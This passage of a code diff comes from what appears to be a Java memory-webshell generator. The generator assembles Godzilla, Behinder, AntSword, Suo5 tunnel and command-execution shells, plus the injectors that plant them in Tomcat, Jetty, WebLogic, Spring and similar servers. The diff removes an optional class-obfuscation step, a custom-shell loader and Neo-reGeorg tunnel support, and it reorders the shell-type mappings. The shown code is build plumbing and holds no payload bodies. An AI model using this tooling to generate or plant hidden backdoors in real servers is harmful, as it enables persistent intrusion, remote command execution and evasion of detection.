-        private final Set<String> innerClasses = new HashSet<>();
-
-        public InnerClassCollector(String originalClassName) {
-            super(Opcodes.ASM9);
-            this.originalClassName = originalClassName.replace('/', '.');
-        }
-
-        @Override
-        public void visitInnerClass(String name, String outerName, String innerName, int access) {
-            String className = name.replace('/', '.');
-            if (outerName != null) {
-                String outerClassName = outerName.replace('/', '.');
-                if (outerClassName.equals(originalClassName)) {
-                    innerClasses.add(className);
-                }
-            } else if (className.startsWith(originalClassName + "$")) {
-                innerClasses.add(className);
-            }
-        }
-
-    }
-}

common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java

@@ -1,62 +0,0 @@
-package com.reajason.javaweb.buddy;
-
-import net.bytebuddy.asm.AsmVisitorWrapper;
-import net.bytebuddy.description.field.FieldDescription;
-import net.bytebuddy.description.field.FieldList;
-import net.bytebuddy.description.method.MethodList;
-import net.bytebuddy.description.type.TypeDescription;
-import net.bytebuddy.implementation.Implementation;
-import net.bytebuddy.jar.asm.ClassVisitor;
-import net.bytebuddy.jar.asm.commons.ClassRemapper;
-import net.bytebuddy.jar.asm.commons.Remapper;
-import net.bytebuddy.pool.TypePool;
-import org.jetbrains.annotations.NotNull;
-
-/**
- * @author ReaJason
- * @since 2025/3/27
- */
-public class ClassRenameVisitorWrapper implements AsmVisitorWrapper {
-    public final String originalClassName;
-    public final String newClassName;
-
-    public ClassRenameVisitorWrapper(String originalClassName, String newClassName) {
-        this.originalClassName = originalClassName.replace('.', '/');
-        this.newClassName = newClassName.replace('.', '/');
-    }
-
-
-    @Override
-    public int mergeReader(int flags) {
-        return flags;
-    }
-
-    @Override
-    public int mergeWriter(int flags) {
-        return flags;
-    }
-
-    @NotNull
-    @Override
-    public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
-                             @NotNull ClassVisitor classVisitor,
-                             @NotNull Implementation.Context implementationContext,
-                             @NotNull TypePool typePool,
-                             @NotNull FieldList<FieldDescription.InDefinedShape> fields,
-                             @NotNull MethodList<?> methods,
-                             int writerFlags,
-                             int readerFlags) {
-        return new ClassRemapper(
-                classVisitor,
-                new Remapper() {
-                    @Override
-                    public String map(String typeName) {
-                        if (typeName.startsWith(originalClassName)) {
-                            return typeName.replaceFirst(originalClassName, newClassName);
-                        } else {
-                            return typeName;
-                        }
-                    }
-                });
-    }
-}

generator/build.gradle

@@ -13,20 +13,6 @@ java {
 group = 'com.reajason.javaweb.memsell'
 version = rootProject.version
 
-tasks.withType(Test).configureEach {
-    javaLauncher = javaToolchains.launcherFor {
-        languageVersion = JavaLanguageVersion.of(17)
-    }
-}
-
-tasks.named('compileTestJava') {
-    javaCompiler = javaToolchains.compilerFor {
-        languageVersion = JavaLanguageVersion.of(17)
-    }
-    sourceCompatibility = JavaVersion.VERSION_17
-    targetCompatibility = JavaVersion.VERSION_17
-}
-
 test {
     useJUnitPlatform()
     finalizedBy jacocoTestReport
@@ -38,13 +24,12 @@ dependencies {
     implementation project(":memshell")
     implementation project(":memshell-java8")
     implementation 'net.bytebuddy:byte-buddy'
-    implementation 'org.ow2.asm:asm-commons'
-    implementation 'com.github.jar-analyzer:class-obf'
 
     implementation 'javax.servlet:javax.servlet-api'
     implementation 'javax.websocket:javax.websocket-api'
     implementation 'jakarta.servlet:jakarta.servlet-api'
 
+//    implementation 'xalan:xalan'
     implementation 'org.apache.bcel:bcel'
 
     implementation 'commons-io:commons-io'
@@ -53,6 +38,7 @@ dependencies {
     implementation 'com.squareup.okhttp3:okhttp'
     implementation 'ch.qos.logback:logback-classic'
     implementation 'com.alibaba.fastjson2:fastjson2'
+//    implementation 'org.java-websocket:Java-WebSocket'
 
     implementation 'org.springframework:spring-webmvc'
     implementation 'org.springframework:spring-webflux'
@@ -62,5 +48,4 @@ dependencies {
     testImplementation 'org.junit.jupiter:junit-jupiter'
     testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
     testImplementation "org.mockito:mockito-core"
-    testImplementation 'org.mockito:mockito-junit-jupiter'
 }

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -4,13 +4,9 @@ import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.memshell.generator.*;
 import com.reajason.javaweb.memshell.server.AbstractShell;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
-import me.n1ar4.clazz.obfuscator.api.ClassObf;
-import me.n1ar4.clazz.obfuscator.config.BaseConfig;
 import org.apache.commons.lang3.StringUtils;
 import org.apache.commons.lang3.tuple.Pair;
 
-import java.util.Map;
-
 /**
  * @author ReaJason
  * @since 2024/11/24
@@ -21,9 +17,8 @@ public class MemShellGenerator {
         Server server = shellConfig.getServer();
         AbstractShell shell = server.getShell();
         if (shell == null) {
-            throw new IllegalArgumentException("Unsupported server: " + server);
+            throw new IllegalArgumentException("Unsupported server");
         }
-
         if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
             shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
         }
@@ -32,56 +27,24 @@ public class MemShellGenerator {
             injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
         }
 
-        Class<?> injectorClass = null;
+        Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
-
+        if (shellInjectorPair == null) {
-        if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
+            throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
-            injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
-        } else {
-            Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
-            if (shellInjectorPair == null) {
-                throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
-            }
-            Class<?> shellClass = shellInjectorPair.getLeft();
-            injectorClass = shellInjectorPair.getRight();
-            shellToolConfig.setShellClass(shellClass);
         }
+        Class<?> shellClass = shellInjectorPair.getLeft();
+        Class<?> injectorClass = shellInjectorPair.getRight();
+
+        shellToolConfig.setShellClass(shellClass);
 
         byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
 
-        if (shellConfig.isObfuscate()) {
+        injectorConfig = injectorConfig
-            BaseConfig config = BaseConfig.Default();
+                .toBuilder()
-            config.setIgnorePublic(true);
+                .injectorClass(injectorClass)
-            config.setEnableMethodName(false);
+                .shellClassName(shellToolConfig.getShellClassName())
-            config.setEnableFieldName(false);
+                .shellClassBytes(shellBytes).build();
-            config.setEnableAES(false);
-            config.setEnableAdvanceString(false);
-            config.setQuiet(true);
 
-            ClassObf classObf = new ClassObf(config);
+        byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
-            shellBytes = classObf.run(shellBytes).getData();
-        }
-
-        injectorConfig.setInjectorClass(injectorClass);
-        injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
-        injectorConfig.setShellClassBytes(shellBytes);
-
-        InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
-        byte[] injectorBytes = injectorGenerator.generate();
-
-        if (shellConfig.isObfuscate()) {
-            BaseConfig config = BaseConfig.Default();
-            config.setIgnorePublic(true);
-            config.setEnableMethodName(false);
-            config.setEnableFieldName(false);
-            config.setEnableAES(false);
-            config.setEnableAdvanceString(false);
-            config.setQuiet(true);
-
-            ClassObf classObf = new ClassObf(config);
-            injectorBytes = classObf.run(injectorBytes).getData();
-        }
-
-        Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
 
         return GenerateResult.builder()
                 .shellConfig(shellConfig)
@@ -91,7 +54,6 @@ public class MemShellGenerator {
                 .shellBytes(shellBytes)
                 .injectorClassName(injectorConfig.getInjectorClassName())
                 .injectorBytes(injectorBytes)
-                .injectorInnerClassBytes(innerClassBytes)
                 .build();
     }
 
@@ -107,10 +69,6 @@ public class MemShellGenerator {
                 return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
             case AntSword:
                 return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
-            case NeoreGeorg:
-                return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
-            case Custom:
-                return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
             default:
                 throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
         }

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

@@ -9,16 +9,10 @@ import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdv
 import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
 import com.reajason.javaweb.memshell.shelltool.command.*;
 import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
-import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
 import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
 import com.reajason.javaweb.memshell.shelltool.godzilla.*;
 import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
 import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
 import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
 import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
 import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
@@ -40,11 +34,10 @@ import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
 import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
 import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
+import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
-import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
-import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
 import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
 import lombok.Getter;
@@ -67,7 +60,7 @@ public enum Server {
      */
     Jetty(new JettyShell()),
     /**
-     * JBoss AS 中间件，JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
+     * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
      */
     JBossAS(new JbossShell()),
     JBossEAP6(new JbossShell()),
@@ -100,7 +93,7 @@ public enum Server {
     WebLogic(new WebLogicShell()),
 
     /**
-     * Resin 中间件，<a href="https://caucho.com/products/resin/download">Resin</a>
+     * Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
      */
     Resin(new ResinShell()),
 
@@ -134,7 +127,8 @@ public enum Server {
     /**
      * XXL-JOB
      */
-    XXLJOB(new XxlJobShell());
+    XXLJOB(new XxlJobShell())
+    ;
 
     private final AbstractShell shell;
 
@@ -143,6 +137,34 @@ public enum Server {
     }
 
     static {
+        addToolMapping(ShellTool.Command, ToolMapping.builder()
+                .addShellClass(SERVLET, CommandServlet.class)
+                .addShellClass(JAKARTA_SERVLET, CommandServlet.class)
+                .addShellClass(FILTER, CommandFilter.class)
+                .addShellClass(JAKARTA_FILTER, CommandFilter.class)
+                .addShellClass(LISTENER, CommandListener.class)
+                .addShellClass(JAKARTA_LISTENER, CommandListener.class)
+                .addShellClass(VALVE, CommandValve.class)
+                .addShellClass(JAKARTA_VALVE, CommandValve.class)
+                .addShellClass(WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
+                .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
+                .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
+                .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
+                .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
+                .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
+                .build());
+
         addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
                 .addShellClass(SERVLET, GodzillaServlet.class)
                 .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
@@ -191,57 +213,6 @@ public enum Server {
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
                 .build());
 
-        addToolMapping(ShellTool.AntSword, ToolMapping.builder()
-                .addShellClass(SERVLET, AntSwordServlet.class)
-                .addShellClass(FILTER, AntSwordFilter.class)
-                .addShellClass(LISTENER, AntSwordListener.class)
-                .addShellClass(VALVE, AntSwordValve.class)
-                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
-                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
-                .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
-                .addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
-                .build());
-
-        addToolMapping(ShellTool.Command, ToolMapping.builder()
-                .addShellClass(SERVLET, CommandServlet.class)
-                .addShellClass(JAKARTA_SERVLET, CommandServlet.class)
-                .addShellClass(FILTER, CommandFilter.class)
-                .addShellClass(JAKARTA_FILTER, CommandFilter.class)
-                .addShellClass(LISTENER, CommandListener.class)
-                .addShellClass(JAKARTA_LISTENER, CommandListener.class)
-                .addShellClass(VALVE, CommandValve.class)
-                .addShellClass(JAKARTA_VALVE, CommandValve.class)
-                .addShellClass(WEBSOCKET, CommandWebSocket.class)
-                .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
-                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
-                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
-                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
-                .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
-                .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
-                .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
-                .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
-                .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
-                .addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
-                .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
-                .addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
-                .build());
-
         addToolMapping(ShellTool.Suo5, ToolMapping.builder()
                 .addShellClass(SERVLET, Suo5Servlet.class)
                 .addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
@@ -258,19 +229,20 @@ public enum Server {
                 .addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
                 .build());
 
-        addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
+        addToolMapping(ShellTool.AntSword, ToolMapping.builder()
-                .addShellClass(SERVLET, NeoreGeorgServlet.class)
+                .addShellClass(SERVLET, AntSwordServlet.class)
-                .addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
+                .addShellClass(FILTER, AntSwordFilter.class)
-                .addShellClass(FILTER, NeoreGeorgFilter.class)
+                .addShellClass(LISTENER, AntSwordListener.class)
-                .addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
+                .addShellClass(VALVE, AntSwordValve.class)
-                .addShellClass(LISTENER, NeoreGeorgListener.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
-                .addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
-                .addShellClass(VALVE, NeoreGeorgValve.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
-                .addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
+                .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
-                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
-                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
-                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
-                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
                 .build());
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java

@@ -10,35 +10,25 @@ public enum ShellTool {
      */
     Godzilla,
 
+    /**
+     * 命令回显
+     */
+    Command,
+
     /**
      * 冰蝎
      */
     Behinder,
 
+    /**
+     * Suo5 隧道代理
+     */
+    Suo5,
+
     /**
      * 蚁剑
      */
     AntSword,
 
-    /**
-     * 命令回显
-     */
-    Command,
-
-    /**
-     * Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
-     */
-    Suo5,
-
-    /**
-     * Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
-     */
-    NeoreGeorg,
-
-    /**
-     * 自定义
-     */
-    Custom,
-
     ;
 }

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

@@ -19,27 +19,19 @@ public class ShellType {
     public static final String NETTY_HANDLER = "NettyHandler";
 
     public static final String AGENT = "Agent";
-    public static final String ASM = "ASM";
 
     public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
-    public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
     public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
-    public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
     public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
-    public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
     public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
-    public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
     public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
-    public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
     public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
-    public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
 
     public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
     public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
     public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
     public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
     public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
-    public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
 
     public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
     public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";

generator/src/main/java/com/reajason/javaweb/memshell/config/CustomConfig.java

@@ -1,20 +0,0 @@
-package com.reajason.javaweb.memshell.config;
-
-import lombok.AllArgsConstructor;
-import lombok.Getter;
-import lombok.NoArgsConstructor;
-import lombok.ToString;
-import lombok.experimental.SuperBuilder;
-
-/**
- * @author ReaJason
- * @since 2025/2/12
- */
-@Getter
-@SuperBuilder
-@NoArgsConstructor
-@AllArgsConstructor
-@ToString
-public class CustomConfig extends ShellToolConfig {
-    private String shellClassBase64;
-}

generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java

@@ -6,8 +6,6 @@ import lombok.Data;
 import lombok.NoArgsConstructor;
 import org.apache.commons.codec.binary.Base64;
 
-import java.util.Map;
-
 /**
  * @author ReaJason
  * @since 2024/11/24
@@ -23,7 +21,6 @@ public class GenerateResult {
     private String shellBytesBase64Str;
     private String injectorClassName;
     private transient byte[] injectorBytes;
-    private transient Map<String, byte[]> injectorInnerClassBytes;
     private long injectorSize;
     private String injectorBytesBase64Str;
     private ShellConfig shellConfig;
@@ -41,7 +38,7 @@ public class GenerateResult {
                 injectorSize = injectorBytes.length;
             }
             return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
-                    injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
+                    injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/NeoreGeorgConfig.java

@@ -1,21 +0,0 @@
-package com.reajason.javaweb.memshell.config;
-
-import com.reajason.javaweb.memshell.utils.CommonUtil;
-import lombok.*;
-import lombok.experimental.SuperBuilder;
-
-/**
- * @author ReaJason
- * @since 2025/2/28
- */
-@Getter
-@SuperBuilder
-@NoArgsConstructor
-@AllArgsConstructor
-@ToString
-public class NeoreGeorgConfig extends ShellToolConfig {
-    @Builder.Default
-    private String headerName = "Referer";
-    @Builder.Default
-    private String headerValue = CommonUtil.getRandomString(8);
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java

@@ -1,35 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.asm.ClassRenameUtils;
-import com.reajason.javaweb.memshell.config.CustomConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import org.apache.commons.codec.binary.Base64;
-import org.apache.commons.lang3.StringUtils;
-
-/**
- * @author ReaJason
- * @since 2025/3/18
- */
-public class CustomShellGenerator {
-
-    private final ShellConfig shellConfig;
-    private final CustomConfig customConfig;
-
-    public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
-        this.shellConfig = shellConfig;
-        this.customConfig = customConfig;
-    }
-
-    public byte[] getBytes() {
-        String shellClassBase64 = customConfig.getShellClassBase64();
-
-        if (StringUtils.isBlank(shellClassBase64)) {
-            throw new IllegalArgumentException("Custom shell class is empty");
-        }
-
-        byte[] bytes = ClassRenameUtils.renameClass(Base64.decodeBase64(shellClassBase64), customConfig.getShellClassName());
-
-        return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

@@ -1,22 +1,20 @@
 package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.asm.InnerClassDiscovery;
+import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
-import com.reajason.javaweb.buddy.*;
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.description.type.TypeDescription;
-import net.bytebuddy.dynamic.ClassFileLocator;
 import net.bytebuddy.dynamic.DynamicType;
-import net.bytebuddy.dynamic.scaffold.TypeValidation;
 import net.bytebuddy.implementation.FixedValue;
-import net.bytebuddy.pool.TypePool;
 import org.apache.commons.codec.binary.Base64;
 
-import java.util.*;
+import java.util.Objects;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -36,13 +34,10 @@ public class InjectorGenerator {
     @SneakyThrows
     public DynamicType.Builder<?> getBuilder() {
         String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
-        String originalClassName = injectorConfig.getInjectorClass().getName();
-        String newClassName = injectorConfig.getInjectorClassName();
-
         DynamicType.Builder<?> builder = new ByteBuddy()
                 .redefine(injectorConfig.getInjectorClass())
+                .name(injectorConfig.getInjectorClassName())
                 .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
-                .visit(new ClassRenameVisitorWrapper(originalClassName, newClassName))
                 .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
                 .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                 .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
@@ -61,38 +56,6 @@ public class InjectorGenerator {
         return builder;
     }
 
-    @SneakyThrows
-    public Map<String, byte[]> getInnerClassBytes() {
-        Set<String> innerClassNames = InnerClassDiscovery.findAllInnerClasses(injectorConfig.getInjectorClass());
-        if (innerClassNames.isEmpty()) {
-            return Collections.emptyMap();
-        }
-
-        String originalClassName = injectorConfig.getInjectorClass().getName();
-        String newClassName = injectorConfig.getInjectorClassName();
-
-        ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(injectorConfig.getInjectorClass().getClassLoader());
-        TypePool typePool = TypePool.Default.of(classFileLocator);
-
-        Map<String, byte[]> bytes = new HashMap<>();
-        for (String innerClassName : innerClassNames) {
